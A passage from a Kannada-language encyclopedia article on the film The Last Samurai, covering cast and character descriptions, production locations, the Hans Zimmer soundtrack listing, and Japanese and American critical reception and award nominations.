ಇಷ್ಟಪಡದಿರುವಿಕೆಗೆ ಕಾರಣವಾಗಿದ್ದ ಅನೇಕ ವ್ಯಾಪಾರಿ ಕುಟುಂಬಗಳ ಪೈಕಿ ಒಂದೆನಿಸಿದ್ದ ಕುಟುಂಬಕ್ಕೆ ಸೇರಿದ್ದ ಅವನು, ಮೆಯಿಜಿ ಪುನಃ-ಪ್ರತಿಷ್ಠಾಪನೆಯ ಅವಧಿಯಲ್ಲಿ ಭಾರೀ ಪ್ರಮಾಣದ ಅಧಿಕಾರವನ್ನು ದಕ್ಕಿಸಿಕೊಳ್ಳುತ್ತಾನೆ ಮತ್ತು ಮೆಯಿಜಿಯ ಮುಖ್ಯ ಸಲಹೆಗಾರನಾಗುವ ದೃಷ್ಟಿಯಿಂದ ಅವನ ಯುವಜನತೆಯ ಪ್ರಯೋಜನಗಳನ್ನು ಪಡೆಯುತ್ತಾನೆ (ಷೋಗನ್‌ಗಳ ವೈಖರಿಯನ್ನು ಹೋಲುವಂತಿರುವ ಅಧಿಕಾರ ಚಲಾಯಿಸುವಿಕೆ). ಮೆಯಿಜಿ ಪುನಃ-ಪ್ರತಿಷ್ಠಾಪನೆಯ ಅವಧಿಯಲ್ಲಿನ ಓರ್ವ ಅಗ್ರಗಣ್ಯ ಸುಧಾರಕನಾಗಿದ್ದ, ಒಕುಬೊ ತೊಷಿಮಿಚಿಯ ಬಿಂಬವನ್ನು ನೆನಪಿಸುವ ರೀತಿಯಲ್ಲಿ ಅವನ ಬಿಂಬವನ್ನು ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿದೆ. ವಾರ್ನರ್‌ ಬ್ರದರ್ಸ್‌ ಸ್ಟುಡಿಯೋಸ್‌ನಲ್ಲಿನ ಧ್ವನಿ ವೇದಿಕೆ ೧೯ರ ಮೇಲೆ (ಇಲ್ಲಿ ಹಂಫ್ರೆ ಬೊಗಾರ್ಟ್‌ ಒಮ್ಮೆ ನಟಿಸಿದ್ದ) ಚಕ್ರವರ್ತಿ ಮೆಯಿಜಿಯ ಸಮಾವೇಶದ ಕೋಣೆಯ ನಿರ್ಮಾಣವಾಗುತ್ತಿರುವುದನ್ನು ನೋಡಿದ ನಂತರ, ಚಲನಚಿತ್ರದಲ್ಲಿ ಸೇರಿಕೊಳ್ಳುವ ಕುರಿತು ತಾನು ಆಳವಾಗಿ ಆಸಕ್ತಿ ವಹಿಸಿದುದನ್ನು ಮಸಾಟೊ ಹರಾಡಾ ಉಲ್ಲೇಖಿಸಿದ್ದಾನೆ.{{Citation needed|date=January 2008}} *ಶಿಚಿನೊಸುಕೆ ನಕಮುರಾ: ಚಕ್ರವರ್ತಿ ಮೆಯಿಜಿಯ ಪಾತ್ರದಲ್ಲಿ ಈತ ನಟಿಸಿದ್ದಾನೆ. ೧೮೬೮ರ ಮೆಯಿಜಿ ಪುನಃ-ಪ್ರತಿಷ್ಠಾಪನೆಯ ಕಾರ್ಯಗತಗೊಳಿಸುವಿಕೆಯನ್ನು ಮಾಡಿರುವುದಾಗಿ ಭಾವಿಸಲ್ಪಟ್ಟಿರುವ ಚಕ್ರವರ್ತಿಯು, ಒಂದು ಪ್ರಬಲ ರಾಷ್ಟ್ರವಾಗಿ ಹೊರಹೊಮ್ಮಲು ಜಪಾನ್‌ನ್ನು ಆಧುನೀಕರಿಸುವ ಮತ್ತು ಶಕ್ತಿನೀಡುವ ಸಲುವಾಗಿ, ಪಾಶ್ಚಾತ್ಯ ಪರಿಕಲ್ಪನೆಗಳು ಮತ್ತು ಪರಿಪಾಠಗಳನ್ನು ಬಳಸಿಕೊಳ್ಳಲು ಉತ್ಸುಕನಾಗಿರುತ್ತಾನೆ. ದಿ ಲಾಸ್ಟ್‌ ಸಮುರಾಯ್‌‌ ಸಂಭವಿಸಿದ ೧೮೭೦ರ ದಶಕದ ಅವಧಿಗಿಂತ ಹೆಚ್ಚಾಗಿ ೧೮೬೦ರ ದಶಕದಲ್ಲಿದ್ದ ಚಕ್ರವರ್ತಿ ಮೆಯಿಜಿಗೆ ಅವನ ಬಾಹ್ಯರೂಪವು ಒಂದು ಪ್ರಬಲ ಹೋಲಿಕೆಯನ್ನು ಹೊಂದಿರುತ್ತದೆ. *ಹಿರೋಯುಕಿ ಸನಾಡಾ: ಉಜಿಯೊ ಪಾತ್ರದಲ್ಲಿ ಇವನು ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾನೆ; ಇವನು ಕಾಟ್ಸುಮೊಟೊ ಅಡಿಯಲ್ಲಿ ಬರುವ ಅತ್ಯಂತ ಸಮರ್ಪಣಾ ಮನೋಭಾವದ, ಸ್ವಾಮಿನಿಷ್ಠ ಮತ್ತು ತೀವ್ರೋತ್ಸಾಹದ ಸಮುರಾಯ್‌‌ಗಳ ಪೈಕಿ ಒಬ್ಬನೆನಿಸಿಕೊಂಡಿರುತ್ತಾನೆ. ಸಮುರಾಯ್‌‌ ಕತ್ತಿ ಕಾಳಗದ ಕಲೆಯನ್ನು ತೀರಾ ನವಿರಾಗಿ ಅವನು ಆಲ್‌ಗ್ರೆನ್‌ಗೆ ಹೇಳಿಕೊಡುತ್ತಾನಾದರೂ, ಅಂತಿಮವಾಗಿ ಅವನೆಡೆಗೆ ಗೌರವಭಾವನೆಯನ್ನು ಬೆಳೆಸಿಕೊಳ್ಳುತ್ತಾನೆ. ಕೊನೆಯ ಕದನದಲ್ಲಿನ ಅಂತಿಮ ಆಕ್ರಮಣದಲ್ಲಿ ಸಾಯುವ ಉಳಿದಿರುವ ಸಮುರಾಯ್‌ಗಳ ಪೈಕಿ ಅವನು ಒಬ್ಬನಾಗಿರುತ್ತಾನೆ. *ತಿಮೋಥಿ ಸ್ಪಾಲ್‌: ಸೈಮನ್‌ ಗ್ರಹಾಂ ಪಾತ್ರದಲ್ಲಿ ಇವನು ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾನೆ; ಕ್ಯಾಪ್ಟನ್‌ ಆಲ್‌ಗ್ರೆನ್‌‌ ಮತ್ತು ಇಂಗ್ಲಿಷ್‌-ಮಾತನಾಡದ ಅವನ ಯೋಧರ ಪರವಾಗಿ ಈತ ಓರ್ವ ಬ್ರಿಟಿಷ್‌ ದುಭಾಷಿಯಾಗಿ ಕೆಲಸ ಮಾಡುತ್ತಿರುತ್ತಾನೆ. ಕ್ರಿಯಾಶೀಲ-ಮನಸ್ಸುಳ್ಳ ಓರ್ವ ವಿಶಿಷ್ಟ ಇಂಗ್ಲಿಷ್‌ನವನಾಗಿ ಆರಂಭದಲ್ಲಿ ಇವನನ್ನು ಚಿತ್ರಿಸಲಾಗಿದ್ದು, ನಂತರದಲ್ಲಿ ಇವನಿಗೆ ಸಮುರಾಯ್‌ ಉದ್ದೇಶಗಳು ಅರಿವಾಗುತ್ತವೆ. ವಾಸ್ತವಿಕ-ಪ್ರಪಂಚದ ಕಾರ್ಫಿಯೋಟ್‌‌ನ ಛಾಯಾಗ್ರಾಹಕನಾದ ಫೆಲೀಸ್‌ ಬೀಟೋ ಎಂಬಾತನಿಗೂ ಈ ಪಾತ್ರವು ಒಂದಷ್ಟು ಹೋಲಿಕೆಗಳನ್ನು ಹೊಂದಿರುವಂತೆ ತೋರಿಸಲಾಗಿದೆ. *ಸೀಜೋ ಫುಕುಮೊಟೊ: ಮೌನಿ ಸಮುರಾಯ್‌‌ ಪಾತ್ರದಲ್ಲಿ ಇವನು ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾನೆ; ಆಲ್‌ಗ್ರೆನ್‌‌ ಹಳ್ಳಿಯ ಮೂಲಕ ಸಂಚರಿಸುತ್ತಾ ಇರುವಾಗ ಅವನನ್ನು ಹಿಂಬಾಲಿಸುವಂತೆ ನಿಯೋಜಿಸಲ್ಪಟ್ಟ ಓರ್ವ ಹಿರಿಯ ಮನುಷ್ಯನ (ಇವನೇ ನಂತರದಲ್ಲಿ ಸಮುರಾಯ್‌‌ "ಬಾಬ್‌‌" ಎಂದು ಕರೆಯುತ್ತಾನೆ) ಪಾತ್ರ ಇದಾಗಿದೆ. ಅಂತಿಮವಾಗಿ, ಅವನಿಗೋಸ್ಕರ ಒಂದು ಮಾರಕ ಗುಂಡಿನೇಟಿಗೆ ಈಡಾಗುವ ಮೂಲಕ, ಆಲ್‌ಗ್ರೆನ್‌‌ನ ಜೀವವನ್ನು ಸಮುರಾಯ್‌ ಉಳಿಸುತ್ತಾನೆ (ಮತ್ತು ಮೊದಲ ಹಾಗೂ ಏಕೈಕ ಬಾರಿಗೆ, "ಆಲ್‌ಗ್ರೆನ್‌‌-ಸ್ಯಾನ್‌‌!" ಎಂದು ಅವನು ಮಾತಾಡುತ್ತಾನೆ). ಸೆವೆನ್‌‌ ಸಮುರಾಯ್‌‌ಗೆ ಸೇರಿದ ಕ್ಯುಜೊನೊಂದಿಗೆ ಅವನು ಒಂದು ಗಮನಾರ್ಹವಾದ ಹೋಲಿಕೆಯನ್ನು ಹೊಂದಿರುತ್ತಾನೆ. *ಕೊಯುಕಿ: ಟಾಕಾ ಪಾತ್ರದಲ್ಲಿ ಇವಳು ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾಳೆ; ಈಕೆ ಕಾಟ್ಸುಮೊಟೊನ ಸೋದರಿ ಮತ್ತು ನಾಥನ್‌ ಆಲ್‌ಗ್ರೆನ್‌‌ನಿಂದ ಸಾಯಿಸಲ್ಪಟ್ಟ ಕೆಂಪು-ಮುಖವಾಡದ ಸಮುರಾಯ್‌‌ ಹಿರೊಟಾರೊನ ಹೆಂಡತಿಯಾಗಿರುತ್ತಾಳೆ. *ಬಿಲ್ಲಿ ಕೊನೊಲ್ಲಿ: ಸಾರ್ಜೆಂಟ್‌ ಜೆಬುಲಾನ್‌‌ ಗ್ಯಾಂಟ್‌‌ ಪಾತ್ರದಲ್ಲಿ ಇವನು ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾನೆ; ಈತ ಓರ್ವ ಮಾಜಿ-ಯೋಧನಾಗಿದ್ದು, ಆಲ್‌ಗ್ರೆನ್‌‌ ಜೊತೆಯಲ್ಲಿ ಸೇವೆ ಸಲ್ಲಿಸುತ್ತಿರುತ್ತಾನೆ ಮತ್ತು ಅವನಿಗೆ ನಿಷ್ಠನಾಗಿರುತ್ತಾನೆ, ಜಪಾನ್‌ಗೆ ಬರುವಂತೆ ಅವನೊಂದಿಗೆ ಮಾತುಕತೆ ನಡೆಸುತ್ತಾನೆ. ಸಮುರಾಯ್‌ಗಳಿಗೆ ಮುಖಾಮುಖಿಯಾಗುವುದಕ್ಕೆ ಮುಂಚಿತವಾಗಿ, ಆಲ್‌ಗ್ರೆನ್ ಜೊತೆಯಲ್ಲಿ ಸೇರಿಕೊಂಡು ಅವನು‌‌ ಚಕ್ರಾಧಿಪತ್ಯದ ಸೇನೆಗೆ ತರಬೇತು ನೀಡುತ್ತಾನೆ. ಆರಂಭಿಕ ಕದನದಲ್ಲಿ ಅವನು ನಂತರ ಹಿರೊಟಾರೊನಿಂದ (ಟಾಕಾಳ ಗಂಡ) ಸಾಯಿಸಲ್ಪಡುತ್ತಾನೆ. *ಷುನ್‌ ಸುಗಾಟಾ: ನಕಾವೊ ಪಾತ್ರದಲ್ಲಿ ಇವನು ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾನೆ; ಈತ ಓರ್ವ ಎತ್ತರದ ಜುಜುಟ್ಸು ಮತ್ತು ನಗಿನಾಟಾ-ನಿಪುಣ ಸಮುರಾಯ್ ಆಗಿದ್ದು‌‌, ಕಾಟ್ಸುಮೊಟೊನ ರಕ್ಷಣೆಯಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳುತ್ತಾನೆ, ಮತ್ತು ಅಂತಿಮ ಕದನದಲ್ಲಿ ನಂತರ ಸಾಯಿಸಲ್ಪಡುತ್ತಾನೆ. *ಸತೋಷಿ ನಿಕೈಡೊ: N.C.O. ಪಾತ್ರದಲ್ಲಿ ಇವನು ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾನೆ; ಆಲ್‌ಗ್ರೆನ್‌ನಿಂದ ತರಬೇತಿಯನ್ನು ಪಡೆದ ಮೊದಲ ಯೋಧರಲ್ಲಿ ಇವನೂ ಒಬ್ಬನಾಗಿದ್ದು, ಆಲ್‌ಗ್ರೆನ್‌‌ ಸೆರೆಹಿಡಿಯಲ್ಪಟ್ಟ ಕದನದಿಂದ ತಪ್ಪಿಸಿಕೊಳ್ಳುವಲ್ಲಿ ಈತ ಯಶಸ್ವಿಯಾಗುತ್ತಾನೆ. ನಂತರ, ಅಂತಿಮ ಮುಖಾಮುಖಿಯಲ್ಲಿ ಅವನು ಮತ್ತೊಮ್ಮೆ ಒಮುರಾ ಸಹಾಯಕನಾಗಿ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತಾನೆ; ಉಳಿದಿರುವ ಸಮುರಾಯ್‌ಗಳ ಕಗ್ಗೊಲೆಯನ್ನು ಕಂಡು ದುಃಖಿತನಾಗುವ ಆತ, ಕಾಟ್ಸುಮೊಟೊ ಗೌರವದಿಂದ ಸಾಯುವಂತಾಗಲು, ಗುಂಡಿನದಾಳಿಯನ್ನು ನಿಲ್ಲಿಸುವಂತೆ ಬಂದೂಕುಪಡೆಗಳಿಗೆ ಆದೇಶಿಸುವ ಮೂಲಕ, ಒಮುರಾಗೆ ಸವಾಲು ಹಾಕುತ್ತಾನೆ. ==ತಯಾರಿಕೆ== ಜಪಾನಿ ಪಾತ್ರವರ್ಗದ ಸದಸ್ಯರು ಮತ್ತು ಅಮೆರಿಕಾದ ನಿರ್ಮಾಣ ಸಿಬ್ಬಂದಿಯೊಂದಿಗೆ, ನ್ಯೂಜಿಲೆಂಡ್‌ನಲ್ಲಿ ಚಿತ್ರದ ಚಿತ್ರೀಕರಣವು ನಡೆಯಿತು. ಯೋಕೋಹಾಮಾದಿಂದ ಕಂಡಂತೆ ಫ್ಯುಜಿ ಪರ್ವತದ CGIನ್ನು ಬಳಸಿಕೊಂಡು, ಫ್ಯುಜಿ ಪರ್ವತದ ದೃಶ್ಯಗಳನ್ನು ಒಂದರ ಮೇಲೆ ಇನ್ನೊಂದನ್ನು ಇರಿಸಿ ಚಿತ್ರಿಸಲಾಯಿತು. ಹಳ್ಳಿಗೆ ಸಂಬಂಧಿಸಿದ ಹಲವಾರು ದೃಶ್ಯಗಳನ್ನು, ಕ್ಯಾಲಿಫೋರ್ನಿಯಾದ ಬರ್‌ಬ್ಯಾಂಕ್‌‌ನಲ್ಲಿನ ವಾರ್ನರ್‌ ಬ್ರದರ್ಸ್‌ ಸ್ಟುಡಿಯೋಸ್‌‌‌ನ ಹಿಂಭಾಗದ ಪ್ರದೇಶದಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಲಾಯಿತು. ==ಧ್ವನಿಪಥ== {{Infobox album | Name = The Last Samurai | Type = soundtrack | Artist = [[Hans Zimmer]] | Cover = Album-the-last-samurai.jpg‎ | Released = November 25, 2003 | Recorded = | Genre = | Length = | Label = [[Elektra Records]] | Producer = }} ''ಎಲ್ಲಾ ಹಾಡುಗಳಿಗೂ ಹಾನ್ಸ್‌ ಜಿಮ್ಮರ್‌ ಸಂಗೀತ ನೀಡಿದ. '' ''ಹಾಲಿವುಡ್‌ ಸ್ಟುಡಿಯೋ ಸಿಂಫನಿಯು ಇವನ್ನು ನಿರ್ವಹಿಸಿದರೆ, ಬ್ಲೇಕ್‌ ನೀಲಿ ಇವನ್ನು ಸಂಯೋಜಿಸಿದ.'' # "ಎ ವೇ ಆಫ್‌ ಲೈಫ್‌" ೮:೦೩ # "ಸ್ಪೆಕ್ಟರ್ಸ್‌ ಇನ್‌ ದಿ ಫಾಗ್‌" ೪:೦೭ # "ಟೇಕನ್‌‌" ೩:೩೬ # "ಎ ಹಾರ್ಡ್‌ ಟೀಚರ್‌‌" ೫:೪೪ # "ಟು ನೋ ಮೈ ಎನಿಮಿ" ೪:೪೯ # "ಐಡಿಲ್‌'ಸ್‌ ಎಂಡ್‌" ೬:೪೧ # "ಸೇಫ್‌ ಪ್ಯಾಸೇಜ್‌‌" ೪:೫೭ # "ರೋನಿನ್‌‌" ೧:೫೩ # "ರೆಡ್‌ ವಾರಿಯರ್‌‌" ೩:೫೬ # "ದಿ ವೇ ಆಫ್‌ ದಿ ಸ್ವೋರ್ಡ್‌" ೭:೫೯ # "ಎ ಸ್ಮಾಲ್‌ ಮೆಷರ್‌ ಆಫ್‌ ಪೀಸ್‌‌" ೭:೫೯ ==ಸ್ವಾಗತ ವೈಖರಿ== USAಗಿಂತ ಹೆಚ್ಚಾಗಿ ಜಪಾನ್‌ನಲ್ಲಿ ಈ ಚಲನಚಿತ್ರವು ಅತಿಹೆಚ್ಚಿನ ಗಲ್ಲಾ ಪೆಟ್ಟಿಗೆಯ ಹಣಗಳಿಕೆಗಳನ್ನು ದಾಖಲಿಸಿತು.<ref>{{Cite web |url=http://www.countingdown.com/movies/567538/news?item_id=3367385 |title=ದಿ ಲಾಸ್ಟ್‌ ಸಮುರಾಯ್‌‌ (2003) : ಸುದ್ದಿ |access-date=2010-08-23 |archive-date=2010-12-18 |archive-url=https://web.archive.org/web/20101218081945/http://www.countingdown.com/movies/567538/news?item_id=3367385 |url-status=dead }}</ref> ಜಪಾನ್‌ನಲ್ಲಿನ ವಿಮರ್ಶಾತ್ಮಕ ಸ್ವಾಗತ ವೈಖರಿಯು ಸಾಮಾನ್ಯವಾಗಿ ಧನಾತ್ಮಕವಾಗಿತ್ತು.{{Citation needed|date=December 2009}} ದಿ ''ಮೈನಿಚಿ ಷಿನ್‌ಬುನ್‌‌‌‌‌'' ನ ತೊಮೊಮಿ ಕಟ್ಸುಟಾ ತನ್ನ ಅಭಿಪ್ರಾಯವನ್ನು ವ್ಯಕ್ತಪಡಿಸುತ್ತಾ, ಈ ಚಲನಚಿತ್ರವು "ಜಪಾನ್‌ನ್ನು ಚಿತ್ರಿಸಲು ಅಮೆರಿಕಾ ಮಾಡಿದ್ದ ಹಿಂದಿನ ಪ್ರಯತ್ನಗಳನ್ನು ಮೀರಿಸಿದ ಒಂದು ಬೃಹತ್‌ ಸುಧಾರಣೆಯಾಗಿದೆ" ಎಂದು ತಿಳಿಸಿದ. ಅಷ್ಟೇ ಅಲ್ಲ, ಚಿತ್ರದ ನಿರ್ದೇಶಕ ಝ್ವಿಕ್‌, "ಜಪಾನಿಯರ ಇತಿಹಾಸವನ್ನು ಚೆನ್ನಾಗಿ ಸಂಶೋಧನೆ ಮಾಡಿದ್ದಾನೆ, ಸುಪರಿಚಿತ ಜಪಾನೀ ನಟರನ್ನು ಪಾತ್ರವರ್ಗದಲ್ಲಿ ಸೇರಿಸಿದ್ದಾನೆ ಮತ್ತು ಜಪಾನಿನ ಮಾತುಗಾರಿಕೆಯ ವಾಡಿಕೆಯ ಮತ್ತು ಔಪಚಾರಿಕ ವರ್ಗಗಳಲ್ಲಿ ತಾನು ಗೊಂದಲವನ್ನು ಉಂಟುಮಾಡುತ್ತಿಲ್ಲ ಎಂಬುದನ್ನು ಖಾತ್ರಿಪಡಿಸಿಕೊಳ್ಳಲು, ಸಂಭಾಷಣೆಯ ಶಿಕ್ಷಕರೊಂದಿಗೆ ಅವನು ಸಮಾಲೋಚಿಸಿದ್ದಾನೆ" ಎಂದೂ ಸಹ ತೊಮೊಮಿ ಕಟ್ಸುಟಾ ಬರೆದ. ಆದಾಗ್ಯೂ, ಚಲನಚಿತ್ರವು ಒಳಗೊಂಡಿದ್ದ ಸಮುರಾಯ್‌‌ಗಳ ಆದರ್ಶಾತ್ಮಕ, "ಮಕ್ಕಳ ಕಥೆಯಂಥ" ಚಿತ್ರಣವು ಕಟ್ಸುಟಾಗೆ ನ್ಯೂನತೆಯಾಗಿ ಕಂಡುಬಂತು, ಮತ್ತು "ಸಮುರಾಯ್‌ಗಳು ತುಂಬಾ ಭ್ರಷ್ಟರಾಗಿದ್ದರು ಎಂಬುದು ಅವರ ಕುರಿತಾಗಿ ನಾವು ಹೊಂದಿದ್ದ ಅಭಿಪ್ರಾಯವಾಗಿದೆ" ಎಂಬುದನ್ನು ಅವನು ಇದಕ್ಕೆ ಸಮರ್ಥನೆಯಾಗಿ ಅವನು ನೀಡಿದ. ಅದರಂತೆ, ಮಹೋನ್ನತ ಸಮುರಾಯ್‌‌ ನಾಯಕ ಕಾಟ್ಸುಮೊಟೊ, "ತನ್ನ ಸ್ಥಿತಿಯನ್ನು ಅಪಾಯದ ಅಂಚಿಗೆ ತಂದುಕೊಂಡಿದ್ದಾನೆ" ಎಂಬುದಾಗಿ ಅವನು ಹೇಳಿದ.<ref name="autogenerated1">{{Cite web |url=https://groups.yahoo.com/group/asianamericanartistry/message/2980 |title=ಯಾಹೂ! ಗ್ರೂಪ್ಸ್‌‌ |access-date=2021-07-20 |archive-date=2010-12-25 |archive-url=https://web.archive.org/web/20101225025345/http://groups.yahoo.com/group/asianamericanartistry/message/2980 |url-status=dead }}</ref> ಜಪಾನ್‌ನಲ್ಲಿನ ಚಿತ್ರದ ಪ್ರಥಮ ಪ್ರದರ್ಶನವನ್ನು ಟೋಕಿಯೊದಲ್ಲಿನ ರೊಪ್ಪೊಂಗಿ ಹಿಲ್ಸ್‌ ಮಲ್ಟಿಪ್ಲೆಕ್ಸ್‌‌ನಲ್ಲಿ ೨೦೦೩ರ ನವೆಂಬರ್‌‌‌ ೧ರಂದು ಆಯೋಜಿಸಲಾಗಿತ್ತು. ಚಿತ್ರದ ಸಮಗ್ರ ಪಾತ್ರವರ್ಗವೂ ಅಲ್ಲಿ ಹಾಜರಿತ್ತು; ಅವರು ಹಸ್ತಾಕ್ಷರಗಳನ್ನು ನೀಡಿದರು, ಸಂದರ್ಶನಗಳನ್ನು ನೀಡಿದರು ಮತ್ತು ಅಭಿಮಾನಿಗಳನ್ನು ಉದ್ದೇಶಿಸಿ ಮಾತನಾಡಲು ವೇದಿಕೆಯ ಮೇಲೆ ಕಾಣಿಸಿಕೊಂಡರು. ಪಾತ್ರವರ್ಗದ ಪೈಕಿಯ ಅನೇಕ ಸದಸ್ಯರು ಪ್ರೇಕ್ಷಕರೊಂದಿಗೆ ಮಾತನಾಡುತ್ತಾ, ಸಮುರಾಯ್‌‌ನ ಪ್ರಮುಖ ಮೌಲ್ಯಗಳನ್ನು ಕಲಿಯುವುದಕ್ಕೆ ಮತ್ತು ಗೌರವಿಸುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಬಯಕೆಯನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದರು, ಹಾಗೂ ಜಪಾನಿಯರ ಸಂಸ್ಕೃತಿ ಮತ್ತು ಆಚರಣೆಯ ಕುರಿತಾಗಿ ಒಂದು ಮಹತ್ತಾದ ಮೆಚ್ಚುಗೆಯನ್ನು ತಾವು ಹೊಂದಿರುವುದಾಗಿ ತಿಳಿಸಿದರು. ಹೊಗಳಿಕೆಯ ಸ್ವರೂಪದಲ್ಲಿರದ ಹಲವಾರು ಅಭಿಪ್ರಾಯಗಳು ಅಮೆರಿಕಾದಲ್ಲಿ ಕೇಳಿಬಂದವು; ಕೆವಿನ್‌ ಕಾಸ್ಟ್‌‌ನರ್‌‌‌‌ನ ''ಡಾನ್ಸಸ್‌ ವಿತ್‌ ವೋಲ್ವ್ಸ್‌‌'' ಚಲನಚಿತ್ರವನ್ನು ಇದು ಹೋಲುತ್ತದೆ ಎಂಬ ಮಾತೂ ಇದರಲ್ಲಿ ಸೇರಿತ್ತು. ''ದಿ ನ್ಯೂಯಾರ್ಕ್‌ ಟೈಮ್ಸ್‌‌'' ಪತ್ರಿಕೆಯ ಮೊಟೊಕೊ ರಿಚ್‌ ಎಂಬಾತ ತನ್ನ ಅಭಿಪ್ರಾಯವನ್ನು ವ್ಯಕ್ತಪಡಿಸುತ್ತಾ, ಈ ಚಲನಚಿತ್ರವು ಒಂದು ಚರ್ಚೆಗೆ ಮುನ್ನುಡಿಯನ್ನು ಹಾಕಿಕೊಟ್ಟಿದ್ದು, "ಏಷ್ಯಾದ-ಅಮೆರಿಕನ್ನರು ಮತ್ತು ಜಪಾನಿಯರ ನಡುವೆ ಈ ಚರ್ಚೆಯು ನಿರ್ದಿಷ್ಟವಾಗಿ" ಕಂಡುಬಂದಿದೆ; ಈ ಚಲನಚಿತ್ರ ಹಾಗೂ ಇದರ ರೀತಿಯಲ್ಲಿರುವ ಇತರ ಚಲನಚಿತ್ರಗಳು "ಜನಾಂಗೀಯವಾದಿ, ನಿಷ್ಕಪಟವಾದ, ಉತ್ತಮ-ಆಶಯದ, ಕರಾರುವಾಕ್ಕಾದ ಚಿತ್ರಗಳಾಗಿವೆಯೋ - ಅಥವಾ ಮೇಲೆ ತಿಳಿಸಿದ ಎಲ್ಲವೂ ಆಗಿವೆಯೋ" ಎಂಬುದೇ ಅವರ ನಡುವಿನ ಚರ್ಚೆಯ ವಿಷಯವಾಗಿದೆ ಎಂದು ತಿಳಿಸಿದ.<ref name="autogenerated1" /> ಆದಾಗ್ಯೂ ಚಿಕಾಗೊ ಸನ್‌-ಟೈಮ್ಸ್‌ ಪತ್ರಿಕೆಯ ವಿಮರ್ಶಕನಾದ ರೋಜರ್‌ ಎಬರ್ಟ್‌ ಎಂಬಾತ ಈ ಚಲನಚಿತ್ರಕ್ಕೆ ನಾಲ್ಕು ನಕ್ಷತ್ರಗಳ ಪೈಕಿ ಮೂರೂವರೆ ನಕ್ಷತ್ರಗಳ ಶ್ರೇಯಾಂಕವನ್ನು ನೀಡಿ, ಈ ಚಿತ್ರವನ್ನು "ಸುಂದರವಾಗಿ ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿದೆ, ಕಥೆಯನ್ನು ಬುದ್ಧಿವಂತಿಕೆಯಿಂದ ಬರೆಯಲಾಗಿದೆ, ಕಲಾವಿದರು ಗಾಢನಂಬಿಕೆಯೊಂದಿಗೆ ನಟಿಸಿದ್ದಾರೆ, ಇದೊಂದು ಅಸಾಮಾನ್ಯವಾದ ಆಲೋಚನಾಶೀಲ ಮಹಾಕೃತಿಯಾಗಿದೆ" ಎಂಬ ಅಭಿಪ್ರಾಯವನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದ.<ref>[http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=/20031205/REVIEWS/312050302/1023 ದಿ ಲಾಸ್ಟ್‌ ಸಮುರಾಯ್‌‌] {{Webarchive|url=https://web.archive.org/web/20121009051738/http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=%2F20031205%2FREVIEWS%2F312050302%2F1023 |date=2012-10-09 }} ರೋಜರ್‌ ಎಬರ್ಟ್‌, ೦೮/೦೮/೧೦ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು</ref> ಮೆಟಾಕ್ರಿಟಿಕ್‌‌ನಲ್ಲಿ ೧೦೦ ಅಂಕಗಳ ಪೈಕಿ ೫೫ ಅಂಕಗಳನ್ನು ಗಳಿಸುವ ಮೂಲಕ ಈ ಚಲನಚಿತ್ರವು ಪ್ರಸಕ್ತವಾಗಿ ಒಂದು ಮಿಶ್ರ-ಶ್ರೇಯಾಂಕವನ್ನು ಪಡೆದುಕೊಂಡಿದೆ.<ref>[http://www.metacritic.com/movie/the-last-samurai ಮೆಟಾಕ್ರಿಟಿಕ್‌‌ ಸ್ಕೋರ್‌‌ ಫಾರ್‌ ದಿ ಲಾಸ್ಟ್‌ ಸಮುರಾಯ್‌‌]</ref> ಈ ಚಲನಚಿತ್ರಕ್ಕೆ ರಾಟನ್‌ ಟೊಮೆಟೋಸ್‌ ೬೫%ನಷ್ಟು ಶ್ರೇಯಾಂಕವನ್ನು ನೀಡಿದೆ.<ref>[http://www.rottentomatoes.com/m/last_samurai/ ರಾಟನ್‌ ಟೊಮೆಟೋಸ್‌ ಆನ್‌ ದಿ ಲಾಸ್ಟ್‌ ಸಮುರಾಯ್]</ref> ಕೆನ್‌ ವತಾನಬೆಗೆ ಸಂಬಂಧಿದ ಅತ್ಯುತ್ತಮ ಪೋಷಕ ನಟ ಪ್ರಶಸ್ತಿಯನ್ನು ಒಳಗೊಂಡಂತೆ ಈ ಚಲನಚಿತ್ರವು ನಾಲ್ಕು [[ಅಕ್ಯಾಡೆಮಿ ಪ್ರಶಸ್ತಿ|ಅಕಾಡೆಮಿ ಪ್ರಶಸ್ತಿಗಳಿಗೆ]], ಮತ್ತು ಮೂರು ಗೋಲ್ಡನ್‌ ಗ್ಲೋಬ್‌‌ ಪ್ರಶಸ್ತಿಗಳಿಗೆ ನಾಮನಿರ್ದೇಶನಗೊಂಡಿತು; ವತಾನಬೆಗಾಗಿ ಅತ್ಯುತ್ತಮ ಪೋಷಕ ನಟ ಪ್ರಶಸ್ತಿ, [[ಟಾಮ್‌ ಕ್ರೂಸ್‌|ಟಾಮ್‌ ಕ್ರೂಸ್‌‌‌]]ಗಾಗಿ ಅತ್ಯುತ್ತಮ ನಟ - ರೂಪಕ ಪ್ರಶಸ್ತಿ ಹಾಗೂ ಹಾನ್ಸ್‌ ಜಿಮ್ಮರ್‌‌‌ಗಾಗಿ ಅತ್ಯುತ್ತಮ ಸಂಗೀತ ಸಂಯೋಜನೆ ಇವು ಗೋಲ್ಡನ್‌ ಗ್ಲೋಬ್‌‌ ಪ್ರಶಸ್ತಿಗಳಲ್ಲಿ ಸೇರಿದ್ದವು. ಚಲನಚಿತ್ರವು ಗೆದ್ದ ಪ್ರಶಸ್ತಿಗಳ ವಿವರಗಳು ಹೀಗಿವೆ: ನ್ಯಾಷನಲ್‌ ಬೋರ್ಡ್‌ ಆಫ್‌ ರಿವ್ಯೂ ವತಿಯಿಂದ ನೀಡಲಾದ ಅತ್ಯುತ್ತಮ ನಿರ್ದೇಶಕ 